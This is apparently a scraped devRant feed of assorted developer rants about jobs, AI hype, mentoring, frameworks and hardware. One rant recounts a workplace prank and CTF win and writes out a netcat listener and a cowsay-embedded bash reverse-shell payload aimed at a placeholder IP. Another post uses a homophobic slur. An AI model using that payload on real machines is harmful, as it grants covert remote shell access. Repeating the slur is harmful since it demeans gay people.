Details
-
About<aboutme> If anyone bothers to read and screenshot this, I'll personally build you a website for free* </aboutme> *FAKE NEWS
-
SkillsI'm playing with so many sneks! HEEEEEELLLLP
Joined devRant on 5/14/2016
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
I decided to buy a rack + PC case and a new HDD. Since I wasn't expecting to need to change the HDD for years, I put it on the mount that has the screws in an annoying place. Guess which drive is dead on arrival -_- I'll have to remove the whole box from the rack I think to get to it
I'm happy with the new setup when it's running, but the constant issues are annoying (mainly pains of fresh linux setup or having to wait on parts and things to arrive on time)5 -
Job spec fallacies and red flags. I will start:
* "Fast-paced environment" = "You will rarely finish something before start something else"
* "Ability to juggle competing priorities" = "our leaders don't align holistically and everything is important"
* "Opportunity to interact with all departments" = "You will accumulate functions"
* "Industry pioneers" = "We didn't research our competition when we started"
* "Leaders in the segment" = "We still haven't researched our competition"
* "Matrixed teams" = "we don't know how to structure our organisation"4 -
Client: “We need an app that tracks live birds using AI.”
Me: “Cool, that’s complex. What’s the timeline?”
Client: “We need it before our annual picnic next week.”
Me: “You want an AI that can detect flying birds, in real time, in seven days?”
Client: “It’s not that hard. Just use ChatGPT or something.”
So now I’m here, watching pigeons on my balcony, manually updating a Google Sheet, calling it “AI prototype v1.0.”
I think I’ve finally achieved “Agile Enlightenment” — deliver results, not features.
Client’s happy.
My soul isn’t.
Time to rename the project: BirdBrain.12 -
Fuck, its 2025 and we still cant shake away the "you work with technology, you must know how to fix my microwave" stereotype.
Seriously, I have fewer apps in my phone and access fewer websites and even spend less time on my devices than the HR old hags, and yet im the one who has to come and "explain to them how to print a PDF".
Holly fucking crap. I haven't used a printer in MONTHS. With the cost of the time I will take to figure out how to communicate with those mummies that is 'just click the print button', they could hire ChatGPT to do it for a decade.
Fuuuuuck, that is the reason those stupid AI chat bots exist! To endlessly toil at the repetitive and predictable task of saying 'hi there! Have you clicked "print"?'
Imma gonna leave work early and get pissed. Luckily, I've already done a couple hours of OT for the day, so it won't seem so out of the ordinary.12 -
The junior dev I've been unofficially mentoring for the past 6 months has now been assigned to me officially. On top of that, I got myself a second junior everybody neglected and was tasked to whip him in shape.
Next step is going to make a developer out of this fucker or die trying. And then I'm going to call several tech leads a cunt for hiring a junior dev and letting that person down for months.
Every junior deserves a stern, dedicated mentor, a thick affectionate whip on their back to correct their juniorly mistakes and all the support they deserve to grow into the merciless professionals you need to handle complex features beyond recoloring a button.
If you, as a tech lead, are unwilling to teach a junior, you shouldn't take the position of a tech lead, nor the salary.17 -
"AI can code" is like "my dog can play piano". Yes, I have proof, look it's hitting the keys and we can hear a sound. Dogs can play piano. AI can code.7
-
Reflecting back on my previous post regarding quitting my job without an offer . Today the final email from system came : my resignation is accepted, my lwd is 7th dec and portal no longer shows the with draw button. The small spark with potential to burn the world did burn it , so her we are.
3 people were supposed to be part of this seperation : my current manager, the avp (person who hired me, was sr manager back then) and HR. HR was on leave for 2 days and all my emails went into auto reply from her, and when she came back, she approved the resignation without any discussion.
my manager(EL), who is the primary cause of me taking this step, tried talking to me. I can't say its because of u, so I simply said WLB, I need work from home. She tried to bring facts : why wfh? you are doing fine in hybrid ? you are getting 6h work every day? your joining letter said all days working from office?
I didn't entertain those points. The meeting ended in 5 mins.
Next day I emailed again regarding my status and she was the person who texted me saying such emails are not acceptable, go to portal and initiate seperation. she shared the steps and as i was about to press the button, I got a call from the avp
I tried the excuse approach bit he was able to see through it (he was showing disappointment). his talking style is charming, so I eventually opened up to him. the call lasted 30 mins, it made me think and today morning I was thinking of alternatives and discussing with him on chat, ittle to my knowledge that my manager has already approved the resignation. fine, I guess.
But here is the main story: WHY DO I WANT TO RESIGN? why would I ask a 3 day office company to gove me wfh and write here that even this is a lie. WHAT IS THE REAL REASON? here are the points , most of which i told the avp in some way as well:
1. The most frank reason is disrespect. I have been in this org for 2.9 years and was one of the first 4 members to join. today we are a 20 people team, one of the 1st 4 came as product manager and is now senior pm, 2nd came in as SSE and is now EL (SSE-> Module Lead -> Engineering Lead). 3rd came as SSE and is now ML . I came as software engineer and is still a software engineer . I even helped hiring a guy with 2 yrs less experience than me and in 10 months he got a sneior position but not me
2. The obvious area of disrespect is when I try to put my point, but my points are not considered but rather needs to be approved by those peole who hold a title. I am a laughing stock among juniors
3. Even after doing flwaless work for years and not getting an ounce of respect, my smallest mistakes are openly highlighted and humiliated. There was once a prod bug that was caught during sanity but for that, I was shouted upon by this EL at 1140pm in night in a 3 person call of EL,an intern and me. this same lady joined 10 days before me and did nothing but politics and talkings to get a position where she is humiliating me
4. These people suck at management and end up making us feel like slaves. one mistake (from anyone) and we get called out in meetings, chats . Our estimates are questioned and negotiated because the "senior" thinks it can be done in lesser time .
5. New rules are enforced everyday , making everything a dev's job . unit test cases? developer will do . uat testing? developer should do. prod testing? dev's job after getting prod numbers whitelisted. war room testing of modules? dev's job . let other teams know of changes? dev job. making a list of all tasks,all estimates and hourly time spent by a dev in a sprint? dev's job. What is the responsibility of qa team and EL?
6. in past 2 years I added 500+ commits, worked on 450+ small to large tasks and almost 99% of app's features are known to me. but in first year I broke my left arm and took a month wfh. In 2nd year i got stage 3 cancer and took 2 months sabbatical. all this made my contributions z my efforts as 0 and I never got any appreciation once.
----
With all these issues, what else could i have done apart from putting papers? How much can I figjt the useless fights? I am not the loudest nor the most cunning person in thsoe rooms. And these 2 seems common attributes of both of those SSEs who got good leadership positions.
I am sorry I couldn't be a better fighter. I am tired of fighting : my life, my situation and now the fight to proove my worth in the only space that i am passionate and proud20 -
Answering the call of nature earlier, in a bright, airy bathroom, with the sound of late-summer birdsong drifting in through the window, I found my thoughts likewise drifting to matters of courtship.
I shall take the air on the sea front this afternoon, in the company of a flaxen-haired young lady of my acquaintance who jilted me most cruelly some years ago.
But my companion at dinner will be another young lady, who is scintillating company despite being regrettably afflicted with rickets.
Lest I be thought a cad, I must hasten to point out that at no point would I risk finding myself alone with either of these ladies, and thus their reputations are perfectly safe.17 -
> These "AI doomers," as they've become known, > represent a growing faction within the artificial intelligence community convinced that humanity is running out of time to implement safeguards against potentially catastrophic AI systems.
Also rock music will be the death of civilization and turn our kids into satan-worshiping pedophile. A friend of mine killed himself because of dungeon and dragon and I lost my mummy to candycrush
I swear, people can't recognize a social panick when they see one.13 -
Zig needs to get its shit together frankly.
I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?
Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-
oh my god he's me.11 -
Yall know me im no homophobe nor racist, but this? British people are faggots aren't they? A WaTeR SomeLieR.
16 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉
12 -
++age
Can’t believe it’s been a year already. Currently enjoying a month-long break from work, almost halfway through it. Realizing that I’m at an age where I need to recover from going to a museum, which is wild. But I’m taking the time to visit museums during my PTO instead of just sitting at home binge watching shows like normal.
Unrelated, I tried to crochet a Chucky doll and it turned out.. interesting.
12 -
If ChatGPT calls my problem a "classic" or it's solution a "subtle quirk of <framework>" one more fuckin time I'm gonna be the first human to murder an AI9
-
In my company I now have 3 browsers.
Chrome for company stuff that only works in Chrome.
Safari for company stuff that only works in Edge or Safari.
And Firefox for actual work.
🤡27 -
New JoyRant build (38) with a new feature:
Every user that you see in a rant will be stored in a list which can be used for @mentioning and viewing the profile.
https://devrant.molodetz.nl/IMG_529...
https://devrant.molodetz.nl/IMG_529...
https://devrant.molodetz.nl/IMG_529...
https://devrant.molodetz.nl/IMG_529...
Sometimes you just don‘t remember the exact name of a user and hopefully this feature will help.
It might also be a nice summary of how many users are active.12 -
Spent another 20 minutes blaming my tools when the issue was my fault again. Just wanted to let you friendly folks know.
(Forgot a “CREATE DATABASE IF NOT EXISTS” statement because on my other dev box, that database……. Already exists)2 -
What we were promised:
- The world as seen in Frutiger Aero
- Solving chess by running minimax on quantum computers
- Fully automated luxury communism powered by blockchain
What we were delivered:
- The phone selling machine in Walmart values your $700 phone at "$59 Today", but when you hit "Cancel", it bumps the price to "$79 Today" while stealing your data via USB. You can sell the phone for $400 on Ebay.
- Microsoft will try to bruteforce your zip archive's password if you upload it to OneDrive
- Butthole logos8 -
Holy fucking shit, I can't stand this corporate framework they use for this banking app on which I've been working on for 2 months.
I’ve spent the last damn month just building three basic screens, and now my very first PR is buried under 50 fucking comments. Half of them exist purely because their shitty framework has multiple versions stacked and stitched together with so many workarounds that you need so much domain knowledge that intuition or actual dev experience goes out the window.
They’ve abstracted real app development into oblivion. It’s a CRUD app, but they've over-engineered it so much they’re now creating their own problems — just so they can specialize in solving them. It's become this self-sustaining nightmare where they make themselves irreplaceable... and simultaneously unemployable anywhere else.
I genuinely have no idea what I’m doing with my life anymore. The original plan was six months here, grab a mortgage, fuck off, and go back to contracting.
Now I’m stuck questioning my sanity every time I open this project or have to listen to another lecture from my 'buddy' about how everything that I'm doing is wrong.4 -
we don't really need data types. By default, everything should be string. When you do addition, when the string has nothing but digits, commas and periods, they should be parsed added as numbers. Else, they should be concatenated. If that string-number formatting doesn't match any conventional formatting of any locale, it's a string. Same number-inferring behavior should be implemented when comparing things. There should be no type casting because there is just one type, so every comparison is type-exact. "true" and "false" are special strings that won't throw an error during comparison. Comparing two strings using less, more, less than or equal and more than or equal always throw an error.
Dates are ISO strings. Every other thing is not a date.
We basically sieve the data starting with the strictest conditions down to more forgiving conditions, then down to no conditions at all where it will be interpreted as just string. ISO date requires a very specific formatting, so we should check that first. Then, let's check for a formatted number. Then, a boolean. If nothing clicked, it's a string.
Oh, and every string is automatically trimmed, so it can't start or end with any kind of space.
No classes, no procedures, no constants, no switch operator. Also, no methods, just a lot of helper functions.
Performance will be lacking compared to languages with static types, but performance is not a priority here — this is the language for code monkeys and their AI counterparts. It should only be used for making trivial client-server prototype apps that could've been replaced by Excel if only people knew how to use it, at passable quality, that work reasonably fast on modern hardware.
Those apps will be deprecated because the company went out of business/because the project was proven to not be financially viable in several months anyway.
UI should be rendered not using a webview, but using a lightweight cross-platform UI engine written in a proper language like C++. There should be no semantic tags — every UI element acts like a div would. Everything is measured in pixels and milliseconds. All colors are #rrggbbaa. All vector graphics are SVG, all raster graphics are AVIF. All sounds are Opus. All videos are AV1. All UIs are reactive, Vue style, e.g. you change a variable and the UI updates itself in the right way every time.
Add some junior devs paired with GPT-4.5 or any super-expensive LLM, sprinkle with some Extreme Go-Horse management style (https://hackernoon.com/you-might-be...), and boom, we recreated Zergs but in the tech space. Let's solve software by brute force.10




